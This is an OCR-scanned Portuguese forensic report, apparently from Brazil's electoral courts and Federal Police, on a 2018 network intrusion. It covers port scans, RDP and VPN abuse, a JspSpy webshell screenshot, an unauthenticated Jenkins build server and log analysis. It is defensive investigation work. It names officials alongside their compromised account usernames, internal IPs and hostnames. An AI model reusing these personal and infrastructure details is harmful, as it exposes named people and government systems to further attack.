Tendo em vista ndo ser normal o acesso de banco de dados entre Regionais, iniciou-se
investigagdo para saber a origem do acesso. Verificou-se que houve o comprometimento de um
servidor WEB do Tribunal Regional do Rio Grande do Norte, a partir do qual o atacante comegou a
realizar acesso a varios regionais, dentre eles BA, GO, e SP.

Verificou-se que os acessos ao banco do TRE-PE, foram realizados a partir da maquina

10.16.140.49 e da maquina spmalote01.tre-sp.gov.br (10.1.1.215) do TRE-SP. O banco de dados
acessado chama-se SIMPLA.

A partir dai, houve relatos sobre escaneamentos de rede e tentativas de intrusdo de varios
locais dentro da Justiga Eleitoral, tais como TRE-AC, TRE-PR, TRE-CE, TRE-BA, TRE-PB.

Em seguida, houve o relato, por parte do TRE-AP, de que uma de suas maquinas Windows
havia sido comprometida, utilizando um usudario de administragdo do TSE. Esse usudrio € antigo e
deveria estar desativado. A senha era de facil dedugdo. A partir dessa maquina, foi acessado um
servidor de dominio no TSE.

A maquina TRE-AP (10.25.30.13) foi utilizada pelo usuario administrador TRE-AP/tse (tela
04) para acessar outras maquinas da Justiga Eleitoral (tela 01).

No momento que acessamos a maquina, ele estava acessando a maquina do TSE 10.30.1.221
com o usudrio TSE/suporte para visualizar os logs do exchange (tela 02 e 03).

Vimos no log do Windows que ele também tentou acessar outros IP's do TSE.
Tela 05 exibe o invasor acessando o webshell da méaquina 10.1.1.127.

Lista de IPs de origem que acessaram nossa méaquina via RDP: 10.12.2.7,10.12.2.29 e
10.12.2.41. '

O primeiro acesso foi realizado dia 20/04/2018 e o teamviewer foi instalado dia 22/04/2018.
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Tela 4
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Tela 05

E3 SWDC em RAPSCINF103 - Conexdo de Maquina Virtual -

Arquivo Ao Midia Area de Transferéncia Exibir  Ajuda

RO@OOIuP | O

- X
G| hitp://10.1.1.127:8080/teste/JspSpy jsp p-¢ ” [# Jspspy Codz By - Ninty X } Outlook Web App i ] B O
{TXKKFT:3080 (10.1.4.127) JspSpy Ver. 2009

Logout | File Manager | DataBase Manager | Execute Command | Shell OnLine | Back Connect | Port Scan | Downkad Remote File | ClipBoard | Remote Contra} § Port Map | JSP Env

java.sql.SQLException: lo exception: The Network Adapter could not establish the connection
at oracle.jdbe.driver.D Error.throwSglException{DatabaseError.java:112)
at oracte jdbc.driver.DatabaseError.throwSglExc { or.java:146)
at oracle.jdbc.driver.DatabaseError.throwSglException(DatabaseError.java: 255)
at oracle.jdbc.driver.T4CConnection.logon{T4CConnection.java:387)
at oracle.jdbc.driver.PhysicalC: ction.<init>(PhysicalC tion.java:439)
at oracle.jdbc.driver.T4ACConnection.<init>(T4CConnection.java:165)
at oracle.jdbc.driver.T4CDriverExtension.getConnection(T4CDriverExtension.java:35)
at oracle.jdbc.driver.OracleDriver.connect(OracteDriver.java:801)
at java.sql.DriverManager.getConnection{DriverManager.java:620)
at java.sql.DriverManager.getConnection{DriverManager.java:200)
at org.apache.jsp.JspSpy_jsp$DBOperator.<init>(JspSpy_jsp.java:72)
at org.apache.jsp.JspSpy_jspSDbcinvoker.invoke(JspSpy_jsp.java:819)
- at org.apache.jsp.JspSpy_isp._jspService{(JspSpy_jsp.java:2392}
at org. he.jasper.runtime.HttpJspBase.service(Http.)spBase.java: 70)
at javax.serviet.http.HitpServiet.service(HttpServiet java:717)
at org.apache.jasper.serviet.JspServietWrapper.service(JspServietWrapper.java:377)
at org.apache.jasper.serviet.JspServiet.servicespFile(JspServiet.java:313)
at org.apache.jasper.serviet.JspServiet.service(JspServiet.java:260)
at javax.serviet.htip. HttpServiet.service{Http Serviet.java: 717)
at org.apache.catalina.core.ApplicationFilterChain.internal DoFilter{ApplicationFilterChain.java: 280)
at org.apache.catalina.core.ApplicationFiiterChain.doFiiter(ApplicationFilterChain.java:206)
at org.apache.catalina.core. StandardWrappervalve.invoke( StandardWrapperValve java:233)
at org.apache.catalina.core.StandardContextValve.invoke{StandardContextVaive.java:191)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:127)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java: 102)
at org.apache.catalina.core. StandardEngineVaive.invoke(StandardEngineValve.java:109)
at org.apache.catalina.connector.CoyoteAdapter.service{CoyoteAdapter.java:298)
at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:852)
at org.apache.coyote.http11.Http11Protocol$Hitp11ConnectionHandler.process(Httpi1Protocol.java: 588)
at org.apache.tomcat.util.net.JioEndpoint$Worker.run(JIoEndpoint.java:489)
at java.lang.Thread.run(Thread.java:636)

Copyright {C) 2009 hitp:/www.Forjji.com/ [T00is.Nel) Alt Rights Reserved.
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A partir desse relato observamos a instalagdo de um webshell (WebShell2JspSpy Private Codz By —
Ninty.jsp) em algumas maquinas de TRE, mais notadamente TRE-SP e TRE-BA.

Apbs andlise dos logs do Checkpoint, firewall existente entre as redes do TRE-PE e TSE, foram
verificados os seguintes indicios e fatos:

No dia 18.04.2018 as 18:37:18 e as 19:03:45 houve acessos da maquina 10.12.2.29 3 méquina
10.8.8.188 via protocolo rdp;

No dia 18.04.2018 a partir das 19:09:17 houve escaneamento das portas 80, 443, 3389 ¢ 8080 em
toda rede 10.8.0.0 a partir da méaquina 10.12.2.29. Esse procedimento acabou as 20:45:47;

No dia 18.04.2018 as 22:22:59 a maquina 10.12.2.29 tentou acessar as portas 80, 443, 3389 e 8080
no endereco 10.8.0.0;

No dia 19.04.2018 as 17:07:36 houve conexdo na porta UDP 52638 na méaquina 10.8.8.87 (ATA) a
partir da maquina 10.12.2.29;



No dia 19.04.2018 as 19:08:52 houve conexio na porta TCP 8080 na maquina 10.8.1.2 (pe2) a\partir
da méquina 10.12.2.29;

No dia 19.04.2018 as 19:10:55 houve tentativas de conexdo na porta TCP 22, 80 e 8080 na maquina
(10.8.1.11) PEMAILOL1 a partir da maquina 10.12.2.29 com varias intera¢des na porta 8080;

O enderegamento de rede 10.12 pertence a rede do TRE-PB. Ao investigar a origem do trafego em
10.12.2.29, descobrimos tratar-se de uma conexdo VPN disponibilizada para a empresa Digitro
(terceirizada que d4 manuteng@o nas centrais telefonicas do TRE-PB). Observando os logs do firewall
do TRE-PB no momento do ocorrido, foi possivel obter o enderego 177.165.110.249.
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No dia 19.04.2018 as 19:52:24 houve tentativas de conexdo na porta TCP 8080 na maquina (10.8.1.11)
PEMALILOL1 a partir da maquina 10.12.2.7 na porta 8080;

No dia 19.04.2018 s 21:03:31 houve uma unica tentativa de conexéo na porta TCP 1521 (ORACLE)
na maquina (10.8.1.84) VULCAN - SERVIDOR DE BANCO DE DADOS DE APLICACOES
LOCAIS a partir da maquina 10.1.1.215 (spmalote01.tre-sp.gov.br);

No dia 19.04.2018 das 20:04:07 até 21:13 houve conexdo na porta TCP 1521 (ORACLE) na méquina
(10.8.1.84) VULCAN — SERVIDOR DE BANCO DE APLICACOES LOCAIS a partir da maquina
10.16.140.49 (plank.tre-rn.gov.br) com intercaladas conexdes na méaquina (10.8.1.11) PEMAILO1
a partir da maquina 10.12.2.29 e da maquina 10.12.2.7;

Ainda no dia 19.04.2018, a maquina 10.12.2.29 acessou as maquinas 10.8.1.25, 10.8.1.29, 10.8.1.54,
10.8.1.56, 10.8.1.107, 10.8.1.113 as 22:04:05 com interagdo entre as maquinas indicando uma
possivel tentativa de invasdo. Por volta das 22:40:08, a maquina 10.12.2.7 comegou um scan na porta
3389 narede 10.8, terminando por volta das 04:36:43 do dia 20/04.

No dia 20.04.2018 as 6:29, a maquina 10.12.2.29 tentou acesso via porta 3389 as maquinas 10.8.8.12,
10.8.5.18, 10.8.3.49, 10.8.2.68, 10.8.7.137 e 10.8.12.138. Esse acesso teve mais de uma interagao,
indicando uma possivel tentativa de comprometimento dessas maquinas.

Por volta das 08:02:18, a maquina 10.12.1.29 comegou um scan da rede 10.108 para as portas 8080
e 3389. Esse procedimento acabou as 09:30:37.

As 10:58:11 do dia 20.04.2018 a maquina 10.12.1.29 tenta conexio nas portas 8080 e 3389 para o
enderego 10.108.0.0;



‘As 10:59;54 do dia 20.04.2018, a maquina 10.12.2.7 comega um escaneamento na rede 10.8%pe

porta 3389, terminando as 13:01:03.

Durante o dia 20/04/2018 percebemos ainda varias tentativas de acesso ndo identificados da maquina
10.12.2.7 a maquinas de nossa rede usando a porta 3389 o que, pela diferenga no tempo de acesso
nos leva a crer que seja algum programa robd. O acesso durou até as 13:15:50 do dia 20/04/2018.

No dia 20.04.2018 as 15:12:27 houve tentativa de escaneamento a partir da maquina seresl2
(10.8.15.13) de nossa administra¢do para o IP da maquina do TRE-RN 10.16.140.4 com o intuito de
tentar descobrir mais informagdes sobre a maquina em uso. O escaneamento de portas para este [P
ocorreu logo apds descobrirmos o acesso a maquina no nosso servidor de banco pela maquina
plank.tre-m.gov.br. Depois vimos que o IP estava errado pois o IP correto da plank.tre-m.gov.br era
0 10.16.140.49.

Dia 20.04 a partir das 23:44:04 percebemos no log outra tentativa de escaneamento de portas na rede
efetuada a partir da maquina 10.7.10.28, sendo especificamente as portas: 80, 443, 8080, 8081, 8180,
21, 3389 nos nossos firewall checkpoint (IP’s 172.16.8.201, 172.16.8.202, 172.16.8.203,
172.16.8.204), em um dos firewalls sonicwall (IP’s 172.16.8.222) e na maquina piedade (IP:
172.16.8.218), nosso firewall para a rede externa.

Dia 20.04 a partir das 23:44:08 houve uma série de conexdes na porta 443, provenientes da maquina
10.7.10.28, aos firewalls checkpoints € a maquina piedade. Avaliando os logs da prdpria piedade no
horério, vimos que 0s acessos se deram com o objetivo de achar vulnerabilidades no PHP ou em
algum outro servigo web, porém, segundo consta no log da maquina, ndo conseguiram ser achadas.
As conexdes foram até dia 20.04 as 23:45:53.

A partir das 00:15:16 do dia 21.04 registramos duas tentativas de conexao pela porta 445 da maquina
10.12.2.7 nos IP’s 10.181.197.85 e 10.8.69.60. Tais IP’s ndo existem em nossa rede, 0 que nos causou
estranheza.

Também foi registrado as 01:30:00 do dia 21.04 acesso do IP 10.12.2.29 a porta 80 do IP 10.8.1.209,
correspondente a ILO (porta de manutengdo) de um de nossos servidores que foi desconectada no dia
23.04.

As 1:32:41 do dia 21.04 registramos outro escaneamento da maquina IP 10.12.2.7 em varias maquinas
de nossa rede local windows pelas portas 3389, sendo finalizado o acesso as 1:34:58 do dia 21.04.

A partir de 01:35:29 do dia 21.04 até 03:32:27 do dia 21.04 verificamos um outro escaneamento de
rede partindo do IP 10.7.10.28 para a rede 10.181.0.0 (zonas eleitorais) nas portas 8080, 3389, 21,
8180 e 8081.

Ap0s 0 escaneamento uma tentativa de conexao no dia 21.04 as 06:31:42 na porta 445 da maquina IP
10.108.16.39 vindo da maquina 10.12.2.7.

No dia 21.04 a partir das 07:50:45 até 08:07:47 novo escaneamento na porta 3389 a partir da maquina
10.7.10.28 na rede 10.181.0.0 e sub-redes.

No dia 21.04 a partir das 09:22:48 até 09:27:13 a maquina 10.7.10.28 escaneou as portas 8000 até
8999 nos firewalls checkpoint 172.16.8.201, 172.8.16.202 ¢ 172.16.8.203 € nos IP’s 172.16.8.204 a
172.8.16.217.



No dia 21.04 a partir da maquina 10.7.10.28 das 09:27:13 até 09:28:47 escaneou os IP’s 172.16\ 218
‘(piedade) até o IP 172.16.8.223 nas portas 8000 até 8999. ”

No dia 21.04 da maquina 10.7.10.28 das 09:30:44 até 09:32:14 tentou conexdo a rede 172.16.8.1 a
172.16.8.223 na porta 3389 a partir da maquina.

No dia 21.04 a partir da maquina 10.7.10.28 das 09:44:22 até (09:58:58 tentou conexdo em toda a rede
10.8.0.0 a partir da porta 3389, sendo desconectado apos retirarmos o acesso do TRE-PE a rede do
TSE.

Por fim buscou-se identificar quais portas de entrada foram utilizadas pelo atacante. Além da VPN
do TRE-PB, conforme relatado acima, foi identificado um ponto de entrada (talvez o primeiro) a
partir de uma maquina no TRE-RN.

O TSE disponibiliza maquinas virtuais para o TRE-RN, sendo que o TRE optou pela implementagio
deu m proxy reverso nesse servidor disponibilizado no TSE. Enviando comandos para esse
equipamento, o atacante conseguiu acesso a um servidor do TRE-RN, a partir do qual iniciou esses
ataques.

Analisando os logs do servidor web, observou-se que os primeiros acessos ocorreram no dia 16 de
abril de 2018.
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Existe uma cdpia desta maquina virtual encaminhada junto a este relatorio. A mesma esta sob o
nome de trernrack.zip.

Por fim, durante o periodo de anélise, observou-se conexdes indevidas a VPN de acesso do TSE. Uma
dessas conexdes foi realizada com o usuario do Coordenador de Infraestrutura do TSE. A senha desse
usuario ndo era trivial e utilizada exclusivamente no ambiente do TSE.
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O atacante tentou realizar portscan a partir dessa conta.
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"Pesquisando nos logs do firewall, identificou-se que outros usuarios também foram acessades
partir do mesmo IP (que pertence a VPN do NordVPN).

GeneraLOverviewIgIN e Tio SR WA

fravemes < > O G Q ©tast24Hous - blade:"Mobile Access® AND action:(*Failed Log In" OR "Log In) AND NOT user:{consular Of
Found 6 tesults (404 ms) V . ‘ N

[ B b O QD . S @ [Cientneme RO nam R A henticats
Yestetdtay, 17:50:05 < a 'ﬂ € Namor 185.153.176.7 Cristrano Moreirz Andrade (cristiano.andrade) Mobite Access P..  Windows Password
Yestesday, 17:40:18 < Dq, & Namor 185.153.176.7 Marcas Goulart de Souza {marcos.goulart} Mobile Access P... Windows Password
Yesterday, 17:39:18 < @ 'ﬂ ) Namor 185.153.176.7 André Luiz Do Nascimento Sousa {andre.nascimenta) Mobile Access P, Windows Password
Yesterday, 17216:29 e & Qa EX Namor 185.153.176.3 Catlos Pereira Qins (¢cartos.dias) Mobite Access P, Windows Password
Yesterday, 170240 = 'B €2 Namar 185.153.176.3 John {armino de Sousa (john.sousa} Mobile Access P... Windows Passwerg |
Yesterday, 16:157:12 A4 @ 'ﬂ & Namoi 185.183.176.3 Rafael Nunes Saraiva (rofael.saraiva) Maobile Access P, Windows Password

Devido a ndo trivialidade da senha do coordenador, e de outros usuérios terem sido comprometidos,
cremos que a base de usuarios do AD pode ter sido comprometida e que o atacante esta quebrando
as senhas para posterior uso.

Relagdo com o Evento de Setembro de 2018.

Em reportagem divulgada no site Tecmundo, em 07 de novembro de 2018, cujo texto € transcrito
abaixo:

"Tive acesso arede inferna

"Com isso, obtive milhares
de codigos-fontes,
documentos sigilosos e até
mesmo credenciais”

{intranet) e, por varios
meses, fiquei explorando a
rede, inclusive entrando em
diversas maquinas
diferentes do TSE, em
busca de compreender o
funcionamento dos
sistemas de votacio’, escreveu a fonte. “Com isso, obtive mithares de cédigos-
fontes, documentos sigitosos e até mesmo credenciais, sendo login de um ministro
substituto do TSE (Sérgio Banhos) e diversos técnicos, alguns sendo ligados 3 alta

ctipula de Tl do TSE, figado ao pai das urnas {Giuseppe Janino)".



O atacante descreve que possuiu acesso a rede interna, por varios meses, entrando em d ersas

“maquinas. Este relato condiz com o que foi observado em abril deste ano.

Além disso ele descreve que houve troca de e-mails entre os técnicos do TSE e que os acessos de
VPN foram cortados, o que de fato ocorreu.

“Passadas algumas semanas em que estive utilizando os equipamentos de rede do
TSE, notei via emails dos técnicos da ST! que os mesmos notaram trafego suspeito
{porque utilizei programas de scan na rede)’, explica a fonte. “Fizeram uma pericia
para detalhar como o invasor conseguiu obter acesso ilegal a rede, mas mesmo
com todos estes procedimentos de seguranca que dotaram, incluindo a aiteracao
de senhas de todas as contas, acabou ndo sendo suficiente para interromper meu

acesso aos emails e também para a rede interna®.

"Somente 0 Co’digo_fonte A fonte também indicou
que durante a votacao de

des‘comp aCtadO (GEDA’- primeiro turno, no dia 07

U E)’ U ] tra pa SSd 3G B S " de outubro, os técnicos do
TSE “cortaram acesso VPN

e ao Correio, talvez para

justificar que as urnas nao possuem conexao a internet”,

Observa-se ainda o relato de que ele obteve acesso a senha do Ministro Sérgio Banhos e também a
senha de alguém ligado ao Secretario de Tecnologia da Informagdo. Conforma relatamos acima, é
bastante provavel que, em Abril, o atacante tenha conseguido copiar a base de dados do AD, e
posteriormente tenha tentado quebrar as senhas de acesso, conseguindo a senha do Ministro Sergio
Banhos e também do Coordenador de Infraestrutura, Cristiano Andrade, que possivelmente € a pessoa
descrita na reportagem como ligada ao Secretario de Tecnologia da Informagio, Giuseppe Janino.

Ao tomar conhecimento da reportagem, esta equipe buscou verificar como o acesso aos cddigos
fontes da urna poderia ter ocorrido, uma vez que as fontes ficam armazenados em um servidor
protegido.

Durante esta pesquisa foi localizado o servidor 10.30.1.229, que possui um portal da Seg¢do de Voto
Informatizado, SEVIN. Neste portal havia a indicagdo de link de dois servidores de integragdo
continua, um em Windows e outro em Linux, conforme imagem abaixo.




© € > C O Niéoseguro | 10.30.1.229

.

Vocé esta no servidor tsesevin-01 da SEVIN ‘

Servigos disponiveis

( Wiki SEVIN - Pigina da base de conhecimento da SEVIN

[[@_Agilefam SEVIN - Pdgina de planejamento da SEVIN

[@ Windows - Jenkins - Servidor de Build das aplicagdes Windows

(Q Linux - Jenkins - Servidor de Build das aplica¢Ses Linux B
- - il

[Q/ Verificador de arquivos hash '

q“o*’x‘y‘gke'n Documentagio do projeto UENUX

d@lXSYAg.e;ﬂ Documentagio do projeto GEDAI-UE

Documentagio publicada na SEVIN

+ DOXGEN SAVP - Documentagdo gerada pelo doxgen dos fontes do SAVP

+ DOXGEN LIBDESKTOP - Dox ¢ao gerada pelo doxgen dos fontes da LIBDESKTOP
+ DOXGEN LIBSEVIN - D« 30 gerada pelo doxgen dos fontes da LIBSEVIN
Servigos Desativados

¢ UENUX - build3w - Pdgina de acompanhamento do Builder do UENUX - Desativado
* XPlanner SEVIN - Pigina de planejamento da SEVIN - Desativado a partir 2011
¢ Desktop - CruiseControl - Servidor de Build das aplicagies Windows
e Desktop - DashBoard - Interface grafica do Servidor de build Windows
e Linux - CruiseControl - Servidor de Build das aplicagées Linux
¢ Linux - DashBoard - Interface grafica do Servidor de build Linux

Estes equipamentos eram responsaveis pela compilagdo dos softwares, em sua versio Windows e na
versdo Linux. Em execugdo neste equipamento estava o Jenkins, configurado pela propria equipe da
Sevin e sem qualquer autenticac@o. Este servidor estava acessivel para toda a rede e permitia a copia
de do cédigo fonte. O conteido das informagdes ali dispostas bate com o apresentado na reportagem.
Por fim, também foram apresentados na reportagem documentos e outras informagdes constante em
contas de e-mail, o que também foi acessado de maneira indevida, a partir de abril.
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SERVICO PUBLICO FEDERAL
MISP - POLICIA FEDERAL
COORDENACAO-GERAL DE POLICIA FAZENDARIA
SERVICO DE REPRESSAO A CRIMES CIBERNETICOS

INFORMACAO N° 002/2019-UTC/SRCC/CGPFAZ/DICOR/PF
DO: PCF FLAVIO SILVEIRA DA SILVA

PARA: Chefe do GRCC/DRCOR/SR/PF/DF
ASSUNTO: RELATORIO DE ANALISE DE ALTA TECNOLOGIA

Senhor Chefe,

A presente Informag@o trata das informagdes encaminhadas pelo Tribunal Superior
Eleitoral, referentes ao processo SEI n° 08200.021554/2018-33, sobre possivel invasdo aos

sistemas informatizados daquele Tribunal.

Foram encaminhadas a esta UTC/SRCC/CGPFAZ/DICOR/PF 02 (duas) midias

digitais, descritas abaixo:

e ITEMO1:

01 (um) disco rigido externo, marca MULTILASER, cor prata, com capacidade
nominal de 120GB;

e ITEM 02:

01 (um) pendrive sem marca aparente, cor preta e prata, com capacidade nominal

de 8GB.

O item 01 continha os seguintes arquivos listados abaixo:
'NOMEDOARQUIVO ..~~~  |HASHMD5 |
\\c2589eae-bd75-4a78-99¢0- 414aecb261a1 rar 2868682628c88a821f7c13fc3405e802
\\syslog sonicwall.tar.gz e8f2a6451b73d4e9b554ad36f1bef70f
\tremhack.zip e8f2a6451b73d4e9b554ad36£f1bef70f
\\usr_digitro.tar.gz £16e5d5cc3361040dab708fd8ec0cf09
\\ad0e9b60-bbb1-4dbf-87a5-96a2d2edb317.rar 872e80c3a361b40da94230ea873£3adD |,

/.

2

{




INFORMAGCAO N° 002/2019-UTC/SRCC/CGPFAZ/DICOR/PF (continuagdo)

Segundo informagdes fornecidas pelo TSE, os arquivos “syslog_sonicwall.tar.gz”

e “usr_digitro.tar.gz” contem registros de log de firewall oriundos da rede de computadores do

TRE/PB. O arquivo “trernhack.zip” contém uma imagem de maquina virtual oriunda do

TRE/RN, o qual poderia ser o primeiro ponto de entrada néo autorizado a rede dos TREs / TSE.

Ja o arquivo “c2589eae-bd75-4a78-99¢0-414aecb261al.rar” contém uma imagem de disco

usada por maquina virtual (VMDK). N3o foi possivel abrir o arquivo “ad0e9b60-bbb1-4dbf-

87a5-96a2d2edb317.rar” para verificar seu conteudo.

Jé o item 02 apresentava os seguintes arquivos:

PR

Tce0217d3e5fe2a2eabace89789e51122

\\cristiano andrade\Autenticagdo 05.xls

a22514c9baf090a0dlb729l4ecfffba2

\\cristiano andrade\Autenticagdo 06.xls

65d68£8e4993a1al7436a£71885599%e

\\cristiano andrade\Autenticag@o 07.xls

5fbe5925¢cb91d86df7al0fe3dd653181

\\cristiano andrade\Autenticagdo 08.xls

542a283ee125978568cccd318al12a258

\\cristiano andrade\Autenticagdo 09.xls

74b34clblaff9cf8103c395¢c8180d868

\\cristiano andrade\Autenticagdo 10.xls

d76blab61l3al3eal334dabe7£5a897c66

\\cristiano andrade\Autenticagdo 11.xls

7ce8a05867d2e8df3287a1e198£39980

\\cristiano andrade\CorreioEletronico 05 .xlsA

7cb88392ae36a3b8188a%bc213753ae7

\\cristiano andrade\CorreioEletronico 06.xl1s

bfb58b28c3ec72c70ccbe5¢c43bébTdfa

\\cristiano andrade\CorreioEletronico 07.xls

ca3b98eebl28826642581d43bflec643

\\cristiano andrade\CorreioEletronico 08.xls

ece943bfdd565589c6b1960fel65ecaef

\\cristiano andrade\CorreioEletronico 09.xls

8d1a65cbf36d05c43a640c23adfbd048

\\cristiano andrade\CorreioEletronico 10.xls

9837£08£89a56ca69011535dec3b7£32

\\cristiano andrade\CorreioEletronico 11.xls

d9d24b128dedb8995c1d964d7ed3£58fF

\\cristiano andrade\Detalhe do Firewall - b73td2f4-
bl5e-4fe7-8d9d-a834fe6f497b.JPG )

cac3249b9%e74bb95e7d3e5712325b8ee

\\cristiano andrade\IMG_8080 - Dialogo Marcelo

Carneiro (chefe da rede) com Cristiano Andrade

(Coordenador de Infraestrutura).PNG

9d3al0d2ad54461c84b79a8007afeaeb

]
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\\cristiano andrade\IMG_8081 - Didlogo Marcelo
Carneiro (chefe da rede) com Cristiano Andrade

(Coordenador de Infraestrutura).PNG

c2061£61862a348b2ceec0297d735e%b

\\cristiano andrade\ServidorDeArquivos_05.xls

5f008a40c290£6£12109b9£06b77eade

\\cristiano andrade\ServidorDeArquivos_06.xls

ad2053c5£56b84260504254d6280c23e

\\cristiano andrade\ServidorDeArquivos_07.xls

8271795998382178b7039d2c9cel852d

\\cristiano andrade\ServidorDeArquivos_08.xls

1fb6bc304516b43ae21dc74c£0d34dlb

\\cristiano andrade\ServidorDeArquivos_09.xls

adb72e7792b0be607€133289%07383b27

\\cristiano andrade\ServidorDeArquivos_10.xls

85d5e74799013a86dfd7e900379c6a3f

\\cristiano andrade\ServidorDeArquivos_11.xls

2013c610d0363292cb9667e6b864dd1ld

\\cristiano andrade\Tela do Firewall - 7a4778bb-
Oce7-484b-b824-ael6c¢df937b7.JPG

c49e95d0d73099866358de89253£3965b

\\sergio-banhos\Autenticagdo_ 06-09.xls

813acce95c5fda7ad09086d9d3ed780e

\\sergio-banhos\CorreioEletronico 05-1.xls

€4626c96356a92381dce77242b2791bf

\\sergio-banhos\CorreioEletronico_05-2.xls

del79923¢c0cd479%9a5a148164651fe83c¢

\\sergio-banhos\CorreioEletronico_06-1.xls

£17£0dc2dd38dd0c3cfdf029£0bl6c65

\\sergio-banhos\CorreioEletronico_06-2.xls

6£99%efdad%5e9ba027d3dbfed731cb7b8

\\sergio-banhos\CorreioEletronico_07-1.xls

833bebed7704d2ef4£7£35ddebc58cld

\\sergio-banhos\CorreioEletronico_07-2.xls

9dc056515de02f22acaacbtb02eb6e015

\\sergio-banhos\CorreioEletronico_08-1.xls

09f66a3lacd97bda3cc38868c568a9%e7

\\sergio-banhos\CorreioEletronico_08-2.xls

bae9f04b58644d0416558136b622137¢

\\sergio-banhos\CorreioEletronico_09-1.xls

258526827c7bel2848acd4al7b54287b

\\sergio-banhos\CorreioEletronico_09-2.xls

2122e67ec37£41a9409%b51bflaab9%c34

\\sergio-banhos\CorreioEletronico _10-1.xls

lced6beed98ce041fed0b921643004fe

\\sergio-banhos\CorreioEletronico _10-2.xls

allfllflce68£97990b37308ab5d47b7

\\sergio-banhos\CorreioEletronico 11.xls

884dc3130ab7e92296£1356alcd15a43

\\sergio-banhos\ServidorDeArquivos_05-08.xls

640a302dd0c652bb5b1ld60bdcé6f4d2e9

\\sergio-banhos\ServidorDeArquivos _08-11.xIs

d4b41d5d8cec8b39796e7862e6ec9b81

\\sergio-banhos\Visita Varonis 9-11-
2018\Autenticagdo do AD no contraturno 1-abr_8-

nov.xls

ae68c731022bab7c074f4ad4fe3edab57

\\sergio-banhos\Visita Varonis 9-11-2018\Eventos

no AD 1-abr_8-nov.xls

73d3732882a06a7fac5a%a6cal6l12a39

=

Gl
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\\sergio-banhos\Visita Varonis 9-11-2018\Mailbox

Logon 1-abr_8-nov.xls

c3£89¢c998d26e724c0cfb5674c4b83be

\\rodrigo coimbra\Autenticagdo 05-07.xIs

e47a927£fb63929¢ca813e4b20£1d53737

\\rodrigo coimbra\Autenticagdo 08-09.xls

eb5cc2614406526de%9al0dd22fe7bl3e5

\\rodrigo coimbra\Autenticagdo 10-11.xIs

8338b2ddel8df5d6f2fb66caefd754cd

\\rodrigo coimbra\CorreioEletronico 05.xls

a51d64451ce381lea5eeb3851990£4d38

\\rodrigo coimbra\CorreioEletronico_06-1.xls

d5b47c50a21fa6fddd53be7362cb0c47

\\rodrigo coimbra\CorreioEletronico 06-2.xls

2787c6bb92£6£30alab31d9¢c74883565

\\rodrigo coimbra\CorreioEletronico_06-3.xls

a01£7204e5908b30eb9£702d79645d46

\\rodrigo coimbra\CorreioEletronico_07-2.xls

416e59935££3259££d3cb4bbf7c862£8

\\rodrigo coimbra\CorreioEletronico_07-3.xls

823c340892072de901ceded9e168199¢c

\\rodrigo coimbra\CorreioEletronico 07.xls

238£f£332605012d706d1526a831b359%e

\\rodrigo coimbra\CorreioEletronico 08.xls

2b0766bechb58bblecdad91d0dell38bac

\\rodrigo coimbra\CorreioEletronico 09.xls

50bd84d08dbb859766041753a930413d

\\rodrigo coimbra\CorreioEletronico 10.xls

bb%af6ceb84cd9e791254df2a88aclof

\\rodrigo coimbra\CorreioEletronico_11.xls

eeBeb6af7cl541321a90af0a3a684734a

\\rodrigo coimbra\ServidorDeArquivos_05-11.xls

77521cc96aecae2064d2bcfdce8672179

\RELATORIO.docx

f007b510£4d3165456926548bcSbde37

Os arquivos do item 02 com extensdo “xls contem registros de logs de autenticagio,

correio eletronico e servidor de arquivos dos usuarios “Sérgio Banhos”, “Rodrigo Coimbra” e

“Cristiano Andrade”. Também foram encaminhadas imagens de capturas de tela, b

' um relatério produzido pelo TSE para auxiliar na elucidag¢do dos fatos.

Z
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ANALISE

No escopo deste Relatério, foram analisados o arquivo do item 01
“usr_digitro.tar.gz” e os arquivos do item 02 com extensdo “xls”, exceto aqueles presentes na
pasta “\\sergio-banhos\Visita Varonis 9-11-2018”. Para isso, tais arquivos foram tratados,

indexados e analisados por meio das ferramentas ElasticSearch, Logstash e Kibana (ELK).

Foi necessario converter os arquivos “xls” para a extensdo ‘“csv”, para que
pudessem ser importados pelas ferramentas supracitadas. Vale ressaltar que alguns arquivos
“xls” apresentavam cabegalhos com campos diferentes, e que algumas linhas desses arquivos
ndo correspondiam ao padrdo observado no cabegalho, provavelmente devido & presenga de

caracteres especiais ndo tratados.

Ap0s a importagdo dos referidos arquivos de log, foram geradas visualizagdes na
ferramenta Kibana, que permitiram ter uma visdo geral dos dados fornecidos, resultando nas

andlises a seguir:

e ITEMO1:

O arquivo “usr_digitro.txt”, extraido do arquivo “usr_digitro.tar.gz”, continha

41.717.013 linhas de registro (“logs™), as quais foram importadas e posteriormente analisadas.

Os registros de log estdo compreendidos entre os periodos de 02/04/2018 a
23/04/2018.

Entre as linhas importadas, verificou-se a existéncia de registros de acesso dos

seguintes usuarios:

# | USUARIO ' ' | REGISTROS
1 | digitro 41,716,898

2 | TRE-PB\pedrofln 98

3 | TRE-PB\mario 6

4 | TRE-PB\airton 5

5 | TRE-PB\sylvio 4

6 | TRE-PB\agmtargino 1

7 | admm 1

Néo foram detectadas anormalidades nos acessos dos usuarios 2 a 7. Em relagég
ao usudrio 1 (“digitro”), foram obtidos os 10 enderegos IP de origem (campo “s?

recorrentes nos registros analisados: S

Lo
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' ENDERECO IP DE ORIGEM % DO TOTAL
10.12.2.29 95,26936%
10.12.2.33 2,20637%
10.12.2.7 1,73838%
10.12.2.39 0,77420%
191.252.64.20 0,01564%
10.12.2.41 0,00096%
195.140.215.13 0,00093%
10.12.40.152 0,00024%
185.153.176.4 0,00022%
185.153.176.8 0,00020%

De pronto, € possivel perceber o grande nimero de registros oriundos dos IPs

10.12.2.29, 10.12.2.33, 10.12.2.7 e 10.12.2.39, os quais, segundo informag¢do do TSE,

pertencem a rede do TRE/PB.

Foram realizadas pesquisas por enderecos IP de origem (campo “src”) que ndo

fossem reservados para intranets, obtendo-se o seguinte resultado apds a consulta Whois:

USUARIO “DIGITRO”

Organizagio
Enderego IP Data Inicio Data Término Pais

Responsavel

LOCAWEB ! )

SERVICOS DE 191.252.64.20 17/04/2018 21:46:26 | 18/04/2018 06:36:35 | Brasil

INTERNET S/A N

HYDRA Reino

COMMUNICATIONS | 195.140.215.13 17/04/2018 20:38:39 | 21/04/2018 15:02:57 .

LTD Unido
185.153.176.4 17/04/2018 21:31:18 | 18/04/2018 19:12:14
185.153.176.5 18/04/2018 01:49:06 | 18/04/2018 02:19:32
